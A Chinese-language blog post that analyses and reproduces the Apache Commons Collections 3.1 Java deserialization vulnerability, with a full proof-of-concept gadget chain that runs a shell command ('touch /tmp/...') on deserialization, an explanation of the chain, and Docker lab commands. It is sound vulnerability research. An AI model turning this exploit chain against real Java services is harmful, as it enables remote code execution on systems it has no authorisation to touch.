如何进行Apache Commons Collections反序列化漏洞分析与复现
发布时间 - 2023-05-14 00:00:00 点击率:次1.1 状态
完成漏洞挖掘条件分析、漏洞复现。
1.2 漏洞分析
存在安全缺陷的版本:Apache Commons Collections3.2.1以下,【JDK版本:1.7.0_80】Apache Maven 3.6.3。
POC核心代码:
package com.patrilic.vul;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class EvalObject {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);// transformerChain.transform(null);//创建Map并绑定transformerChainMap innerMap = new HashMap();innerMap.put("value", "value");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// //触发漏洞// Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();// onlyElement.setValue("foobar");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);//将ins序列化ByteArrayOutputStream exp = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(exp);oos.writeObject(ins);oos.flush();oos.close();//取出序列化的数据流进行反序列化,验证ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());ObjectInputStream ois = new ObjectInputStream(out);Object obj = (Object) ois.readObject();// }//}}}漏洞利用思路:
Transformer接口-实现类-InvokerTransformer(),可调用任何函数。
为实现 Runtime.getRuntime().exec(cmd),要多次调用 transformer 并将当前返回结果作为下次输入信息。
为调用 Runtime.getRuntime(),考虑 ConstantTransformer 类,它可直接将输入的参数作为输出。
ChainedTransformer 作为实现类,对于接收的Transformer 数组,采用自身的transform方法(参数是用户输入的)逐次处理Transformer数组
对象,将其结果作为下次重复调用的输入参数。它的 transform()方法即可出触发漏洞。
为寻找反序列化途径,即读进来数据被反序列化执行,则反向寻找可触发ChainedTransformer 对象 .transform() 方法的途径。
HashMap类可以键值对方式存储数据,put(key,value)方法可存储数据。
TransformedMap类的功能是存储键值对并将其转换为transform objects,decorate()方法可创建键值对组,checkSetValue()方法会触发this.valueTransformer.transform()语句。依次反向寻找调用 checkSetValue()【1】,使 this.valueTransformer 为 ChainedTransformer 对象的途径【2】。
对于【2】,TransformedMap 类的静态方法 decorate()可达到目标。
对于【1】,AbstractInputCheckedMapDecorator 类 MapEntry 静态类的setValue方法会执行this.parent.checkSetValue(value),则接下来应使this.parent为TransformedMap对象【3】。
对于【3】,正向分析POC中此段代码:
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
研究可知,执行过程中多次在AbstractInputCheckedMapDecorator类中,将TransformedMap对象赋值给this.parent,返回Map.Entry对象,正好可以执行setValue()方法,触发漏洞。
为提升通用性,必须设法使得调用反序列化方法即触发漏洞,因此,考虑寻找类对象满足“重写反序列化readObject()且执行Map类对象变量的setValue(),同时此变量可被控制赋键值数据”。AnnotationInvocationHandler类满足此需求【它对Map类型的成员变量的每个条目均调用setValue()】。
Class.forName() 功能是加载类。
则再次分析,对于【1】,正向分析POC中核心代码:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);……Object obj = (Object) ois.readObject();研究可知,执行过程会执行 MapEntry 静态类的 setValue 方法,且会执行entrySet 方法使得 this.parent=TransformedMap 对象,从而触发漏洞。
总的来说,正向的POC构造思路为:先构造 ChainedTransformer 对象,随后创建 Map 对象,再采用 TransformedMap 类实例将 ChainedTransformer 对象保存至 Map 类对象中,再通过反射方法获得经 Map 类对象初始化的AnnotationInvocationHandler 类实例,对其进行序列化。
1.3 docker复现
下载制作的docker镜像,用以下命令:
docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1
设置局域网及容器ip、启动容器,例子:
(1)自定义网络
docker network create --subnet=192.168.10.1/24 testnet
(2)启动docker容器
docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash
在容器【Apache-Commons-Collections】中,执行命令【java -jar commons-collections-3.1.jar】,则生成文件【CommonsCollections3.1】,如下图。
# Java
# maven
# 成员变量
# 接口
# class
# map
# 对象
# this
# transform
# docker
# apache
# transformer
# 序列化
# 键值
# 法会
# 下次
# 逐次
# 将其
# 对其
# 并将
# 自定义
# 重写
相关栏目:
【
网站优化151355 】
【
网络推广146373 】
【
网络技术251813 】
【
AI营销90571 】
相关推荐:
如何在橙子建站上传落地页?操作指南详解
Windows10电脑怎么查看硬盘通电时间_Win10使用工具检测磁盘健康
Android中Textview和图片同行显示(文字超出用省略号,图片自动靠右边)
Laravel如何与Docker(Sail)协同开发?(环境搭建教程)
详解ASP.NET 生成二维码实例(采用ThoughtWorks.QRCode和QrCode.Net两种方式)
详解jQuery中基本的动画方法
Laravel如何使用Seeder填充数据_Laravel模型工厂Factory批量生成测试数据【方法】
手机怎么制作网站教程步骤,手机怎么做自己的网页链接?
Laravel项目怎么部署到Linux_Laravel Nginx配置详解
如何在阿里云通过域名搭建网站?
Laravel如何集成第三方登录_Laravel Socialite实现微信QQ微博登录
北京企业网站设计制作公司,北京铁路集团官方网站?
如何在云主机上快速搭建多站点网站?
php在windows下怎么调试_phpwindows环境调试操作说明【操作】
如何在橙子建站中快速调整背景颜色?
如何在Windows环境下新建FTP站点并设置权限?
HTML透明颜色代码怎么让下拉菜单透明_下拉菜单透明背景指南【技巧】
如何彻底删除建站之星生成的Banner?
如何在不使用负向后查找的情况下匹配特定条件前的换行符
高端云建站费用究竟需要多少预算?
如何在企业微信快速生成手机电脑官网?
晋江文学城电脑版官网 晋江文学城网页版直接进入
lovemo网页版地址 lovemo官网手机登录
Win11怎么恢复误删照片_Win11数据恢复工具使用【推荐】
如何用手机制作网站和网页,手机移动端的网站能制作成中英双语的吗?
Edge浏览器提示“由你的组织管理”怎么解决_去除浏览器托管提示【修复】
HTML5打空格有哪些误区_新手常犯的空格使用错误【技巧】
如何快速查询域名建站关键信息?
Laravel如何从数据库删除数据_Laravel destroy和delete方法区别
网站制作大概要多少钱一个,做一个平台网站大概多少钱?
Python自然语言搜索引擎项目教程_倒排索引查询优化案例
javascript如何操作浏览器历史记录_怎样实现无刷新导航
如何快速搭建高效可靠的建站解决方案?
手机网站制作与建设方案,手机网站如何建设?
如何在 Telegram Web View(iOS)中防止键盘遮挡底部输入框
深圳网站制作培训,深圳哪些招聘网站比较好?
网站制作公司哪里好做,成都网站制作公司哪家做得比较好,更正规?
Laravel怎么实现前端Toast弹窗提示_Laravel Session闪存数据Flash传递给前端【方法】
用v-html解决Vue.js渲染中html标签不被解析的问题
详解Android中Activity的四大启动模式实验简述
Laravel如何处理异常和错误?(Handler示例)
美食网站链接制作教程视频,哪个教做美食的网站比较专业点?
UC浏览器如何设置启动页 UC浏览器启动页设置方法
如何实现建站之星域名转发设置?
如何用AWS免费套餐快速搭建高效网站?
Python正则表达式进阶教程_复杂匹配与分组替换解析
如何用y主机助手快速搭建网站?
如何快速配置高效服务器建站软件?
Laravel Artisan命令怎么自定义_创建自己的Laravel命令行工具完全指南
个人网站制作流程图片大全,个人网站如何注销?

